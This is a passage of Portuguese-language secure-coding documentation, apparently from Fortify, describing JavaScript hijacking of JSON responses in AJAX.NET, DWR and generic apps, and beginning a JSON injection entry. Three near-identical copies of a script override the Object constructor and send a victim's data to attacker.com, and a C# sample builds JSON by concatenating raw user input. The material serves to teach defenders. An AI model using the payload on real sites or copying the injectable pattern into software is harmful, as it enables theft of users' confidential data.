[13] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[26] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.scala.javascript_hijacking_jsonp
Abstract
Aplicativos que utilizam o Microsoft AJAX.NET (Atlas) podem ser vulneráveis a sequestros de JavaScript, o que permite que um invasor não autorizado leia dados confidenciais.
Explanation
O Microsoft AJAX.NET (Atlas) usa JSON para transferir dados entre o servidor e o cliente. A estrutura produz respostas formadas por um JavaScript válido que pode ser avaliado com o uso de uma tag <script> e que, portanto, é vulnerável a sequestros de JavaScript [1]. Por padrão, a estrutura utiliza o método POST para enviar solicitações, o que torna difícil gerar uma solicitação a partir de uma tag <script> mal-intencionada (já que tags <script> geram apenas solicitações GET). No entanto, o Microsoft AJAX.NET fornece mecanismos para usar solicitações GET. Na verdade, muitos especialistas incentivam os programadores a usarem solicitações GET a fim de aproveitar o armazenamento em cache do navegador e melhorar o desempenho.

Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Navegadores da Web impõem a Política de Mesma Origem a fim de proteger os usuários contra sites mal-intencionados. A Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto ele quanto essa página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer um JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e depois as comunicar ao invasor. Sequestros de JavaScript permitem que um invasor ignore a Política de Mesma Origem no caso que um aplicativo Web usa JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript proveniente de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não consiga examinar diretamente os dados carregados de um site vulnerável no cliente, ele ainda pode tirar proveito dessa brecha configurando um ambiente que lhe permite testemunhar a execução do JavaScript e de quaisquer efeitos colaterais relevantes que isso possa provocar. Como muitos aplicativos Web 2.0 usam o JavaScript como um mecanismo de transporte de dados, é comum que eles sejam vulneráveis, enquanto os aplicativos Web tradicionais não o são.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[7] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.semantic.dotnet.javascript_hijacking_vulnerable_framework
Abstract
Os aplicativos que aproveitam as versões da estrutura DWR Ajax 1.1.4 e anteriores são vulneráveis ao sequestro de JavaScript, que permite que um invasor não autorizado leia dados confidenciais.
Explanation
Todas as versões lançadas do DWR até e incluindo 1.1.4 são vulneráveis ao sequestro de JavaScript [1]. Até agora, o framework não construiu nenhum mecanismo para prevenir a vulnerabilidade. A boa notícia é que o DWR 2.0 está protegido contra sequestro de JavaScript por um mecanismo projetado para impedir Cross-Site Request Forgery. A proteção aproveita o fato de que o script mal-intencionado não pode ler segredos armazenados em cookies definidos por outros domínios, o que permite que a estrutura use um valor armazenado em um cookie como um segredo compartilhado entre o cliente e o servidor. O DWR 2.0 anexa automaticamente o cookie de sessão à solicitação no cliente e verifica no servidor se cada solicitação contém o valor correto.

Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) usa objetos JavaScript como formato de transferência de dados 2) lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Os navegadores da Web aplicam a Política de Mesma Origem para proteger os usuários de sites mal-intencionados. A mesma Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto o JavaScript quanto a página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e, depois, comunicá-las ao invasor. O sequestro de JavaScript permite que um invasor ignore a política da mesma origem no caso de um aplicativo da web usar JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não possa examinar diretamente quaisquer dados carregados de um site vulnerável no cliente, ele ainda pode tirar vantagem dessa brecha, configurando um ambiente que permite testemunhar a execução do JavaScript e quaisquer efeitos colaterais relevantes que possa ter. Como muitos aplicativos da Web 2.0 usam JavaScript como mecanismo de transporte de dados, eles costumam ser vulneráveis, ao contrário dos aplicativos tradicionais da Web.

O formato mais popular para comunicar informações em JavaScript é JavaScript Object Notation (JSON). O JSON RFC define a sintaxe JSON como um subconjunto da sintaxe literal do objeto JavaScript. JSON é baseado em dois tipos de estruturas de dados: arrays e objetos. Qualquer formato de transporte de dados em que as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável ao sequestro de JavaScript. O JSON torna o sequestro de JavaScript mais fácil pelo fato de que uma matriz JSON é autônoma como uma instrução JavaScript válida. Como os arrays são uma forma natural de comunicação de listas, eles são comumente usados sempre que um aplicativo precisa comunicar vários valores. Dito de outra forma, um array JSON é diretamente vulnerável ao sequestro de JavaScript. Um objeto JSON só é vulnerável se for encapsulado em alguma outra construção JavaScript que se mantenha por conta própria como uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo da web usado para gerenciar leads de vendas. Ele continua mostrando como um invasor pode imitar o cliente e obter acesso aos dados confidenciais que o servidor retorna. Observe que este exemplo foi escrito para navegadores baseados em Mozilla. Outros navegadores comumente usados não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e na seguinte, eliminamos os cabeçalhos HTTP que não são diretamente relevantes para esta explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de leads de vendas). Outros usuários não podem acessar essas informações sem conhecer o identificador de sessão do usuário. (Na maioria dos aplicativos da web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se a vítima visitar um site mal-intencionado, esse site pode recuperar as informações usando o sequestro de JavaScript. Se uma vítima puder ser induzida a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações do lead da vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse se originado do aplicativo legítimo.

Quando o array JSON chega ao cliente, ele é avaliado no contexto da página mal-intencionada. Para testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Desta forma, o código mal-intencionado inseriu um gancho que permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta ao site mal-intencionado. Outros ataques podem substituir o construtor padrão por arrays. Os aplicativos que são construídos para serem usados em um mashup às vezes chamam uma função de retorno de chamada no final de cada mensagem JavaScript. A função de retorno de chamada deve ser definida por outro aplicativo no mashup. Uma função de retorno de chamada torna um ataque de sequestro de JavaScript um assunto trivial e tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser compatível com mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor pode compensar pedindo ao usuário para fazer login e, em seguida, exibindo a página de login legítima para o aplicativo.

Isto não é um ataque de phishing, já que o invasor não obtém acesso às credenciais do usuário, portanto, as contramedidas antiphishing não serão capazes de derrotar o ataque. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica às vezes é usada para criar mashups de aplicativos. A única diferença é que, neste cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[7] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.config.java.javascript_hijacking_vulnerable_framework
Abstract
Os aplicativos que utilizam a notação JavaScript para transportar dados confidenciais podem ser vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais por meio de um aplicativo vulnerável.
Explanation
Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Os navegadores da Web aplicam a Política de Mesma Origem para proteger os usuários de sites mal-intencionados. A mesma Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto o JavaScript quanto a página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e, depois, comunicá-las ao invasor. O sequestro de JavaScript permite que um invasor ignore a política da mesma origem no caso de um aplicativo da web usar JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não possa examinar diretamente quaisquer dados carregados de um site vulnerável no cliente, ele ainda pode tirar vantagem dessa brecha, configurando um ambiente que permite testemunhar a execução do JavaScript e quaisquer efeitos colaterais relevantes que possa ter. Como muitos aplicativos da Web 2.0 usam JavaScript como mecanismo de transporte de dados, eles costumam ser vulneráveis, ao contrário dos aplicativos tradicionais da Web.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[3] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[6] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[7] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-003300 CAT II
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking_vulnerable_framework
Abstract
O método grava uma entrada não validada no JSON. Essa chamada pode permitir que um invasor injete elementos ou atributos arbitrários na entidade JSON.
Explanation
Uma injeção de JSON ocorre quando:

1. Os dados entram em um programa por uma fonte não confiável.


2. Os dados são gravados em um fluxo JSON.

Em geral, os aplicativos usam o JSON para armazenar dados ou enviar mensagens. Quando usado para armazenar dados, o JSON é frequentemente tratado como dados em cache e pode conter informações confidenciais. Quando usado para enviar mensagens, o JSON é frequentemente usado em conjunto com um serviço com reconhecimento de REST e pode ser usado para transmitir informações confidenciais, como credenciais de autenticação.

A semântica de documentos e mensagens JSON pode ser alterada quando um aplicativo constrói o JSON a partir de uma entrada não validada. Em um caso relativamente favorável, um invasor pode ser capaz de inserir elementos estranhos que fazem com que um aplicativo lance uma exceção durante a análise de um documento ou de uma solicitação JSON. Em um caso mais grave, como aqueles que envolvem uma injeção de JSON, um invasor pode ser capaz de inserir elementos estranhos que permitem a manipulação previsível de valores críticos para os negócios em uma solicitação ou um documento JSON. Em alguns casos, a injeção de JSON pode provocar cross-site scripting ou avaliação de código dinâmico.

Exemplo 1: O seguinte código C# usa JSON.NET para serializar informações de autenticação de conta de usuário para usuários não privilegiados (com a função "default", em oposição a usuários privilegiados com a função "admin") a partir das variáveis de entrada controladas pelo usuário username e password para o arquivo JSON localizado em C:\user_info.json:


...

StringBuilder sb = new StringBuilder();
StringWriter sw = new StringWriter(sb);

using (JsonWriter writer = new JsonTextWriter(sw))
{
writer.Formatting = Formatting.Indented;

writer.WriteStartObject();

writer.WritePropertyName("role");
writer.WriteRawValue("\"default\"");

writer.WritePropertyName("username");
writer.WriteRawValue("\"" + username + "\"");

writer.WritePropertyName("password");
writer.WriteRawValue("\"" + password + "\"");

writer.WriteEndObject();
}

File.WriteAllText(@"C:\user_info.json", sb.ToString());


